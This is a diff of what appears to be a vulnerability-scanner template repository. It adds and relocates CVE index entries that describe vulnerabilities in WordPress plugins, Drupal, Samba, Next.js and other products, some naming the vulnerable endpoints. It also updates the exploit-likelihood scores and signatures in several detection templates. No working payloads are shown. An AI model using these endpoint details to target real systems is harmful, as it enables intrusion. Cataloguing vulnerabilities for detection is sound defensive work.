 {"ID":"CVE-2026-6203","Info":{"Name":"User Registration \u0026 Membership WordPress plugin - Open Redirect","Severity":"medium","Description":"User Registration \u0026 Membership WordPress plugin \u003c= 5.1.4 contains an open redirect caused by insufficient validation of 'redirect_to_on_logout' parameter, letting attackers redirect users to malicious external URLs after logout, exploit requires crafted URL.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-6203.yaml"}
 {"ID":"CVE-2026-6433","Info":{"Name":"FlipperCode Custom CSS, JS \u0026 PHP \u003c= 2.0.7 - Remote Code Execution","Severity":"critical","Description":"Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-6433.yaml"}
 {"ID":"CVE-2026-7798","Info":{"Name":"WordPress FluentCRM \u003c= 2.9.87 - Unauthenticated Blind SSRF","Severity":"medium","Description":"FluentCRM WordPress plugin \u003c= 2.9.87 contains a blind server-side request forgery caused by improper validation of the 'SubscribeURL' parameter, letting unauthenticated attackers make arbitrary web requests, exploit requires unconfigured SES bounce handling key.\n","Classification":{"CVSSScore":"5.4"}},"file_path":"http/cves/2026/CVE-2026-7798.yaml"}
+{"ID":"CVE-2026-8037","Info":{"Name":"Progress ADC LoadMaster - Command Injection","Severity":"critical","Description":"OS Command Injection Remote Code Execution Vulnerability in API in Progress ADC Products allows an un-authenticated attacker to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in multiple command endpoints\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-8037.yaml"}
 {"ID":"CVE-2026-8054","Info":{"Name":"dotCMS Core Publish Audit API - Unauthenticated SQL Injection","Severity":"critical","Description":"dotCMS Core 25.11.04-1 through 26.04.28-02 contains an SQL injection caused by unsanitized input in Publish Audit API endpoints (/api/auditPublishing/get and /api/auditPublishing/getAll), letting remote unauthenticated attackers read, modify, or destroy arbitrary database content, exploit requires no authentication.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-8054.yaml"}
 {"ID":"CVE-2026-8181","Info":{"Name":"WordPress Burst Statistics 3.4.0-3.4.1.1 - Authentication Bypass","Severity":"critical","Description":"Burst Statistics – Privacy-Friendly WordPress Analytics plugin 3.4.0 to 3.4.1.1 contains an authentication bypass caused by incorrect return-value handling in is_mainwp_authenticated() function, letting unauthenticated attackers impersonate administrators, exploit requires knowledge of an administrator username.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-8181.yaml"}
+{"ID":"CVE-2026-8383","Info":{"Name":"LearnPress \u003c 4.3.7 - Information Disclosure","Severity":"medium","Description":"LearnPress WordPress plugin \u003c 4.3.7 contains an information disclosure vulnerability caused by missing capability checks on a REST endpoint, letting unauthenticated visitors retrieve sensitive user role and capability data via crafted requests.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8383.yaml"}
 {"ID":"CVE-2026-8679","Info":{"Name":"WordPress AudioIgniter \u003c= 2.0.2 - Unauthenticated IDOR","Severity":"high","Description":"The AudioIgniter plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.0.2. The handle_playlist_endpoint() function accepted a user-controlled playlist ID and returned track data without authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-8679.yaml"}
 {"ID":"CVE-2026-8839","Info":{"Name":"WordPress MapPress Maps \u003c= 2.96.6 - Unauthenticated IDOR","Severity":"medium","Description":"MapPress Maps for WordPress \u003c= 2.96.6 contains an authorization bypass caused by missing ownership verification in REST API routes, letting unauthenticated attackers read any map data and authenticated contributors modify any map, exploit requires crafted API requests\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-8839.yaml"}
 {"ID":"CVE-2026-9082","Info":{"Name":"Drupal Core - Anonymous SQL Injection via PostgreSQL Entity Query","Severity":"critical","Description":"Drupal core from 8.9.0 before 10.4.10, 10.5.0 before 10.5.10, 10.6.0 before 10.6.9, 11.0.0 before 11.1.10, 11.2.0 before 11.2.12, and 11.3.0 before 11.3.10 contains an SQL injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-9082.yaml"}
+{"ID":"CVE-2026-9290","Info":{"Name":"WP User Manager – User Profile Builder \u0026 Membership - Local File Inclusion","Severity":"high","Description":"WP User Manager – User Profile Builder \u0026 Membership plugin for WordPress \u003c= 2.9.17 contains a local file inclusion caused by improper handling in the profile template scope function, letting unauthenticated attackers execute arbitrary PHP code, exploit requires ability to upload or control PHP files.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-9290.yaml"}
+{"ID":"CVE-2026-44338","Info":{"Name":"PraisonAI - Authentication Bypass","Severity":"high","Description":"PraisonAI 2.5.6 to \u003c 4.6.34 contains a broken authentication caused by disabled default authentication in legacy Flask API server, letting remote attackers access /agents and trigger workflows without token, exploit requires network access to API server.\n","Classification":{"CVSSScore":"7.3"}},"file_path":"http/cves/2026/cve-2026-44338.yaml"}
+{"ID":"CVE-2026-44381","Info":{"Name":"MISP \u003c 2.5.37 - SQL Injection","Severity":"medium","Description":"MISP before 2.5.37 is vulnerable to SQL injection via the order parameter in EventsController. The POST body order value is passed directly into ORDER BY clauses without validation.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/cve-2026-44381.yaml"}
 {"ID":"CVE-2001-1473","Info":{"Name":"Deprecated SSHv1 Protocol Detection","Severity":"high","Description":"SSHv1 is deprecated and has known cryptographic issues.","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2001/CVE-2001-1473.yaml"}
 {"ID":"CVE-2004-0437","Info":{"Name":"Titan FTP Server 3.01 - DoS via LIST Command Disconnection","Severity":"medium","Description":"Titan FTP Server version 3.01 build 163 (and possibly other older versions) contains a vulnerability where disconnecting during a LIST -L command may crash the daemon. Remote attackers can cause denial of service by initiating a LIST -L command and then abruptly disconnecting, leading to server instability.\n","Classification":{"CVSSScore":"5"}},"file_path":"network/cves/2004/CVE-2004-0437.yaml"}
 {"ID":"CVE-2004-0656","Info":{"Name":"Pure-FTPd ≤ 1.0.18 - DoS via Connection Limit Exhaustion","Severity":"medium","Description":"Pure-FTPd versions ≤ 1.0.18 are vulnerable to denial of service through connection limit exhaustion. The vulnerability occurs in the accept_client function when the maximum number of connections is exceeded, potentially causing the server to become unresponsive or crash.\n","Classification":{"CVSSScore":"5"}},"file_path":"network/cves/2004/CVE-2004-0656.yaml"}
@@ -4090,7 +4138,6 @@
 {"ID":"CVE-2019-5544","Info":{"Name":"VMware ESXi SLP - Heap Overflow DoS","Severity":"critical","Description":"OpenSLP as used in ESXi and the Horizon DaaS appliances has a heap overwrite issue. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2019/CVE-2019-5544.yaml"}
 {"ID":"CVE-2020-0796","Info":{"Name":"Microsoft SMBv3 - Remote Code Execution","Severity":"critical","Description":"A remote code execution vulnerability exists in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests, aka 'Windows SMBv3 Client/Server Remote Code Execution Vulnerability'.\n","Classification":{"CVSSScore":"10"}},"file_path":"network/cves/2020/CVE-2020-0796.yaml"}
 {"ID":"CVE-2020-11981","Info":{"Name":"Apache Airflow \u003c=1.10.10 - Command Injection","Severity":"critical","Description":"An issue was found in Apache Airflow versions 1.10.10 and below. When using CeleryExecutor, if an attacker can connect to the broker (Redis, RabbitMQ) directly, it is possible to inject commands, resulting in the celery worker running arbitrary commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-11981.yaml"}
-{"ID":"CVE-2020-14644","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution (Insecure Deserialization)","Severity":"critical","Description":"Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0 contain a remote code execution caused by unauthenticated network access via IIOP and T3, letting attackers take over the server, exploit requires network access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-14644.yaml"}
 {"ID":"CVE-2020-1938","Info":{"Name":"Ghostcat - Apache Tomcat - AJP File Read/Inclusion Vulnerability","Severity":"critical","Description":"When using the Apache JServ Protocol (AJP), care must be taken when trusting incoming connections to Apache Tomcat. Tomcat treats AJP connections as having higher trust than, for example, a similar HTTP connection. If such connections are available to an attacker, they can be exploited in ways that may be surprising. In Apache Tomcat 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99, Tomcat shipped with an AJP Connector enabled by default that listened on all configured IP addresses. It was expected (and recommended in the security guide) that this Connector would be disabled if not required. This vulnerability report identified a mechanism that allowed - returning arbitrary files from anywhere in the web application - processing any file in the web application as a JSP Further, if the web application allowed file upload and stored those files within the web application (or the attacker was able to control the content of the web application by some other means) then this, along with the ability to process a file as a JSP, made remote code execution possible. It is important to note that mitigation is only required if an AJP port is accessible to untrusted users. Users wishing to take a defence-in-depth approach and block the vector that permits returning arbitrary files and execution as JSP may upgrade to Apache Tomcat 9.0.31, 8.5.51 or 7.0.100 or later. A number of changes were made to the default AJP Connector configuration in 9.0.31 to harden the default configuration. It is likely that users upgrading to 9.0.31, 8.5.51 or 7.0.100 or later will need to make small changes to their configurations.","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2020/CVE-2020-1938.yaml"}
 {"ID":"CVE-2020-35359","Info":{"Name":"Pure-FTPd 1.0.48 - Denial of Service","Severity":"high","Description":"Pure-FTPd 1.0.48 is vulnerable to Denial of Service via exhaustion of connections due to lack of proper connection limits.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2020/CVE-2020-35359.yaml"}
 {"ID":"CVE-2020-9274","Info":{"Name":"Pure-FTPd ≤ 1.0.49 - DoS via Uninitialized Pointer","Severity":"high","Description":"Pure-FTPd versions ≤ 1.0.49 (\u003e= ~0.96) contain a vulnerability in the init_aliases() function within diraliases.c when processing aliases. This leads to access of an uninitialized pointer, which can cause a denial of service (DoS) condition.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2020/CVE-2020-9274.yaml"}
@@ -4112,7 +4159,6 @@
 {"ID":"CVE-2024-48208","Info":{"Name":"Pure-FTPd \u003c 1.0.52 - Buffer Overflow","Severity":"high","Description":"Pure-FTPd versions prior to 1.0.52 contain a buffer overflow vulnerability due to an out-of-bounds read in the domlsd() function within the ls.c file. This vulnerability could allow attackers to execute arbitrary code on affected systems.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"network/cves/2024/CVE-2024-48208.yaml"}
 {"ID":"CVE-2024-48651","Info":{"Name":"ProFTPD ≤ 1.3.8b - Privilege Escalation via mod_sql","Severity":"high","Description":"ProFTPD versions through 1.3.8b (before commit cec01cc) contain a vulnerability in the mod_sql module due to improper handling of supplemental groups. This flaw allows authenticated users without explicitly assigned supplemental groups to inherit root group privileges (GID 0), potentially granting unauthorized access to sensitive system resources.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"network/cves/2024/CVE-2024-48651.yaml"}
 {"ID":"CVE-2025-25256","Info":{"Name":"Fortinet FortiSIEM - OS Command Injection","Severity":"critical","Description":"Fortinet FortiSIEM 6.7.9 \u003c version \u003c= 7.3.1 contains an OS command injection caused by improper neutralization of special elements in CLI requests, letting unauthenticated attackers execute unauthorized commands remotely.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2025/CVE-2025-25256.yaml"}
-{"ID":"CVE-2025-47188","Info":{"Name":"Mitel 6000 - OS Command Injection","Severity":"critical","Description":"A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"network/cves/2025/CVE-2025-47188.yaml"}
 {"ID":"CVE-2025-8286","Info":{"Name":"Güralp Systems FMUS Series - Unauthenticated Access","Severity":"critical","Description":"Güralp Systems FMUS Series Seismic Monitoring Devices expose an unauthenticated Telnet-based command line interface that allows attackers to modify hardware configurations, manipulate data, or factory reset the device.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2025/CVE-2025-8286.yaml"}
 {"ID":"CVE-2026-23829","Info":{"Name":"Mailpit \u003c 1.28.2 - SMTP CRLF Injection","Severity":"medium","Description":"Mailpit \u003c 1.28 contains a header injection caused by insufficient regex validation of `RCPT TO` and `MAIL FROM` addresses in the SMTP server, letting attackers inject arbitrary SMTP headers, exploit requires crafted email addresses\n","Classification":{"CVSSScore":"5.3"}},"file_path":"network/cves/2026/CVE-2026-23829.yaml"}
 {"ID":"CVE-2026-42167","Info":{"Name":"ProFTPD mod_sql - Preauth User Backdoor","Severity":"high","Description":"ProFTPD mod_sql before 1.3.10rc1 contains a remote code execution caused by unsafe username handling with SQL backend commands in USER request logging expansions, letting remote attackers execute arbitrary code, exploit requires SQL backend allowing commands.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"network/cves/2026/CVE-2026-42167.yaml"}
@@ -4123,6 +4169,7 @@
 {"ID":"CVE-2018-8011","Info":{"Name":"Apache HTTP Server - NULL Pointer Dereference","Severity":"high","Description":"By specially crafting HTTP requests, the mod_md challenge handler would dereference a NULL pointer and cause the child process to segfault. This could be used to DoS the server. Fixed in Apache HTTP Server 2.4.34 (Affected 2.4.33)\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2018/CVE-2018-8011.yaml"}
 {"ID":"CVE-2019-6443","Info":{"Name":"NTPsec \u003e 1.1.3 - 'ctl_getitem' Out-of-Bounds Read","Severity":"critical","Description":"NTPsec before 1.1.3 contains a stack-based buffer over-read caused by a bug in ctl_getitem in read_sysvars in ntp_control.c in ntpd, letting local or remote attackers read sensitive memory, exploit requires sending crafted control requests.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"javascript/cves/2019/CVE-2019-6443.yaml"}
 {"ID":"CVE-2019-9193","Info":{"Name":"PostgreSQL 9.3-12.3 Authenticated Remote Code Execution","Severity":"high","Description":"In PostgreSQL 9.3 through 11.2, the \"COPY TO/FROM PROGRAM\" function allows superusers and users in the 'pg_execute_server_program' group to execute arbitrary code in the context of the database's operating system user. This functionality is enabled by default and can be abused to run arbitrary operating system commands on Windows, Linux, and macOS. NOTE: Third parties claim/state this is not an issue because PostgreSQL functionality for ‘COPY TO/FROM PROGRAM’ is acting as intended. References state that in PostgreSQL, a superuser can execute commands as the server user without using the ‘COPY FROM PROGRAM’.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2019/CVE-2019-9193.yaml"}
+{"ID":"CVE-2020-14644","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution (Insecure Deserialization)","Severity":"critical","Description":"Oracle WebLogic Server 12.2.1.3.0, 12.2.1.4.0, and 14.1.1.0.0 contain a remote code execution caused by unauthenticated network access via IIOP and T3, letting attackers take over the server, exploit requires network access.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-14644.yaml"}
 {"ID":"CVE-2020-2883","Info":{"Name":"Oracle WebLogic Server - Remote Code Execution","Severity":"critical","Description":"Vulnerability in the Oracle WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via IIOP, T3 to compromise Oracle WebLogic Server. Successful attacks of this vulnerability can result in takeover of Oracle WebLogic Server. CVSS 3.0 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-2883.yaml"}
 {"ID":"CVE-2020-4429","Info":{"Name":"IBM Data Risk Manager - Hardcoded Credentials","Severity":"critical","Description":"IBM Data Risk Manager 2.0.1, 2.0.2, 2.0.3, 2.0.4, 2.0.5, and 2.0.6 contains a default password for an IDRM administrative account. A remote attacker could exploit this vulnerability to login and execute arbitrary code on the system with root privileges. IBM X-Force ID- 180534.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-4429.yaml"}
 {"ID":"CVE-2020-7247","Info":{"Name":"OpenSMTPD 6.4.0-6.6.1 - Remote Code Execution","Severity":"critical","Description":"OpenSMTPD versions 6.4.0 - 6.6.1 are susceptible to remote code execution. smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the \"uncommented\" default configuration. The issue exists because of an incorrect return value upon failure of input validation.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2020/CVE-2020-7247.yaml"}
@@ -4139,6 +4186,7 @@
 {"ID":"CVE-2024-47176","Info":{"Name":"CUPS - Remote Code Execution","Severity":"high","Description":"CUPS is a standards-based, open-source printing system, and cups-browsed contains network printing functionality including, but not limited to, auto-discovering print services and shared printers. cups-browsed binds to INADDR_ANY-631, causing it to trust any packet from any source, and can cause the Get-Printer-Attributes IPP request to an attacker controlled URL.\nDue to the service binding to *-631 ( INADDR_ANY ), multiple bugs in cups-browsed can be exploited in sequence to introduce a malicious printer to the system. This chain of exploits ultimately enables an attacker to execute arbitrary commands remotely on the target machine without authentication when a print job is started. This poses a significant security risk over the network. Notably, this vulnerability is particularly concerning as it can be exploited from the public internet, potentially exposing a vast number of systems to remote attacks if their CUPS services are enabled.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"javascript/cves/2024/CVE-2024-47176.yaml"}
 {"ID":"CVE-2025-12101","Info":{"Name":"Citrix NetScaler ADC \u0026 Gateway - Reflected XSS / Open Redirect","Severity":"medium","Description":"Cross-Site Scripting (XSS) in NetScaler ADC and NetScaler Gateway when the appliance is configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-12101.yaml"}
 {"ID":"CVE-2025-14847","Info":{"Name":"MongoDB Server - Information Disclosure (MongoBleed)","Severity":"high","Description":"MongoDB Server contained a flaw in the zlib decompression logic where\nmismatched length fields in compressed protocol headers allowed a read\nof uninitialized heap memory by an unauthenticated client.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"javascript/cves/2025/CVE-2025-14847.yaml"}
+{"ID":"CVE-2025-29635","Info":{"Name":"D-Link DIR-823X set_prohibiting - Command Injection","Severity":"high","Description":"D-Link DIR-823X 240126 and 240802 contain a command injection caused by sending a POST request to /goform/set_prohibiting, letting an authorized attacker execute arbitrary commands remotely, exploit requires attacker to be authorized.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"javascript/cves/2025/CVE-2025-29635.yaml"}
 {"ID":"CVE-2025-46817","Info":{"Name":"Redis \u003c 8.2.1 lua script - Integer Overflow","Severity":"critical","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to cause an integer overflow and potentially lead to remote code execution The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46817.yaml"}
 {"ID":"CVE-2025-46818","Info":{"Name":"Redis Lua Sandbox \u003c 8.2.2 - Cross-User Escape","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted Lua script to manipulate different LUA objects and potentially run their own code in the context of another user. The problem exists in all versions of Redis with LUA scripting. This issue is fixed in version 8.2.2. A workaround to mitigate the problem without patching the redis-server executable is to prevent users from executing LUA scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46818.yaml"}
 {"ID":"CVE-2025-46819","Info":{"Name":"Redis  \u003c 8.2.1 Lua Long-String Delimiter - Out-of-Bounds Read","Severity":"high","Description":"Redis is an open source, in-memory database that persists on disk. Versions 8.2.1 and below allow an authenticated user to use a specially crafted LUA script to read out-of-bound data or crash the server and subsequent denial of service. The problem exists in all versions of Redis with Lua scripting. This issue is fixed in version 8.2.2. To workaround this issue without patching the redis-server executable is to prevent users from executing Lua scripts. This can be done using ACL to block a script by restricting both the EVAL and FUNCTION command families.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"javascript/cves/2025/CVE-2025-46819.yaml"}
@@ -4149,3 +4197,4 @@
 {"ID":"CVE-2026-39363","Info":{"Name":"Vite Dev Server - Arbitrary File Read","Severity":"high","Description":"Vite dev server exposes the fetchModule method via its WebSocket HMR (Hot Module Replacement) endpoint using the vite-hmr sub-protocol. By connecting to the WebSocket endpoint and sending a crafted vite:invoke custom event that calls fetchModule with a file:// URL (e.g., file:///etc/passwd?raw), an attacker can bypass server.fs.deny restrictions and read arbitrary files from the server filesystem. The vulnerability exists because fetchModule does not enforce the same filesystem access controls as other Vite server endpoints.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"javascript/cves/2026/CVE-2026-39363.yaml"}
 {"ID":"CVE-2026-39987","Info":{"Name":"Marimo \u003c= 0.20.4 - Pre-Auth Terminal WebSocket RCE","Severity":"critical","Description":"Marimo versions \u003c= 0.20.4 contain an unauthenticated remote code execution vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to connect via WebSocket, obtain a full PTY shell, and execute arbitrary OS commands on the underlying server.\n","Classification":{"CVSSScore":"9.3"}},"file_path":"javascript/cves/2026/CVE-2026-39987.yaml"}
 {"ID":"CVE-2026-44578","Info":{"Name":"Next.js WebSocket Upgrade Handler - SSRF","Severity":"high","Description":"Next.js 13.4.13 to before 15.5.16 and 16.2.5 contains a server-side request forgery caused by crafted WebSocket upgrade requests in the built-in Node.js server, letting attackers proxy requests to arbitrary destinations, exploit requires self-hosted deployment.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"javascript/cves/2026/CVE-2026-44578.yaml"}
+{"ID":"CVE-2026-4480","Info":{"Name":"Samba Printing Subsystem - Remote Code Execution","Severity":"critical","Description":"A flaw was found in the Samba printing subsystem. Samba passes the client-controlled job description string to the command configured with the \"print command\" setting via the \"%J\" substitution character without escaping shell meta characters. A remote attacker could exploit this vulnerability by sending a specially crafted print job description that contains unescaped shell characters. This could lead to remote code execution on the affected system.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"javascript/cves/2026/CVE-2026-4480.yaml"}
@@ -1 +1 @@
-87a1e7f8807fcbb96040707fd68c7c6a
+f41fb6aca06836485c29dcab0865f337
@@ -20,8 +20,8 @@ info:
    cvss-score: 7.5
    cve-id: CVE-2018-19518
    cwe-id: CWE-88
-    epss-score: 0.93869
-    epss-percentile: 0.99879
+    epss-score: 0.9523
+    epss-percentile: 0.99855
  metadata:
    max-request: 1
    confidence: tenative
@@ -53,4 +53,4 @@ http:
        part: interactsh_request
        words:
          - "User-Agent: curl"
-# digest: 4a0a0047304502205814133824692ff220766fb9fb45e3d9346069e655d5f7aef97c0db121c744ef022100b5cb4cf011570edda6781a6ac0de2cac64162d62c5a0176c6a1ca4dc69e7a7fc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d86e59a5a04ceb71e390ab7ecf4c585e967313ce0f42e028b272c05bf0fc74520220735e80e46260f014f03d7a0799e7dc4a7a11d60f5f2ca4f1235e1dfa8b9d455f:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 8.8
    cve-id: CVE-2020-9402
    cwe-id: CWE-89
-    epss-score: 0.84644
-    epss-percentile: 0.99353
+    epss-score: 0.22513
+    epss-percentile: 0.97426
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    vendor: djangoproject
@@ -54,4 +54,4 @@ http:
          - "ORA-06512:"
          - "Request Method:"
        condition: and
-# digest: 4a0a0047304502203f0520b01f7e3059137104bbc3b0577722a5b94fb4310be7d0be233eaa9d1be50221009bbdd6250b10305a4bdb16a666f2276932f225465ec9b056f26c2095808f6848:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100caef44b2bae34bcce37ebeb77449f1b27ed74c5eacd107b4b28ac8ed5881bb700221009c4fd705cc2013bbce0ed193812e36132de56f6f0f58334fcec15e90686b66db:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2021-35042
    cwe-id: CWE-89
-    epss-score: 0.909
-    epss-percentile: 0.99648
+    epss-score: 0.44369
+    epss-percentile: 0.98609
  metadata:
    verified: true
    fofa-query: body="ProgrammingError" && body="ORDER BY"
@@ -66,4 +66,4 @@ http:
          - 'FROM\s+`([a-zA-Z_][a-zA-Z0-9_]*)`'
          - 'relation\s+([a-zA-Z_][a-zA-Z0-9_]*)'
          - "Table\\s+'[^']*\\.([a-zA-Z_][a-zA-Z0-9_]*)'"
-# digest: 4a0a00473045022100f9c812541ccbb0d72ea6c1e404a1479361e7cbff80963d3e8f20c57619b7acd702201072f6e196fe5958ab289c27b67dff75512f7dabc9ed5d552eca1b3f5d7e0b87:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204705d74ad6dcf0f5a9bb1ebf85e259abc97cfc30f3736c4e2799799501b510dd022076e17848bfaadabb2fa7e887138324f19c90a713231b5fc9ee5b6060b394abdf:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9
    cve-id: CVE-2021-45046
    cwe-id: CWE-502
-    epss-score: 0.9434
-    epss-percentile: 0.99957
+    epss-score: 0.99977
+    epss-percentile: 0.9998
  metadata:
    max-request: 1
    confidence: tenative
@@ -66,4 +66,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a00473045022019b84248d4ae2b6a3715d062b997beb06d3b833acb93408f1ddd1ec35df92b10022100d91bd136fba8f63783d3fac501f172a2333f50bda6ea2138793164f70c4480ad:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
-    epss-score: 0.94428
-    epss-percentile: 0.99985
+    epss-score: 0.99677
+    epss-percentile: 0.99948
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -59,4 +59,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 490a0046304402206d787c4fc82fdb64afa9f1f3dade8ab5182d4c1921969424fbb2667a899075a90220294661767c428311952fd5e84e44bb712c7e2599602b89eec1b5f57c85c819e7:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
-    epss-score: 0.92834
-    epss-percentile: 0.99774
+    epss-score: 0.73274
+    epss-percentile: 0.99392
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
@@ -50,4 +50,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4a0a00473045022100ffafa44774d80cd4973606d3f4b7aa0b031b43bbc9b041ab63523cb19cc30c61022038600537205b2726727d7e72e8ea00b8f274bb661b7de1bd9a8c628bdf88748c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
-    epss-score: 0.94251
-    epss-percentile: 0.99933
+    epss-score: 0.99931
+    epss-percentile: 0.99968
  metadata:
    max-request: 1
    confidence: tenative
@@ -70,4 +70,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100acd5171808df7ce2ea1644f3a078e9aa55b830112cc6d899d78d18667e6f4c54022100f917e591b6f6aa7b2bc0df4d75c4a7aca758a2da0f49601345c12ae4d357a5d8:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220608e0f72009f09b999c75f034bbe885b3694a0c68ba6e0eaead510bf493a9ad3022100daec500dedf90c03341c5b110bbe2c48240c19db066eed1eca976d4bd13b0b47:922c64590222798bb761d5b6d8e72950
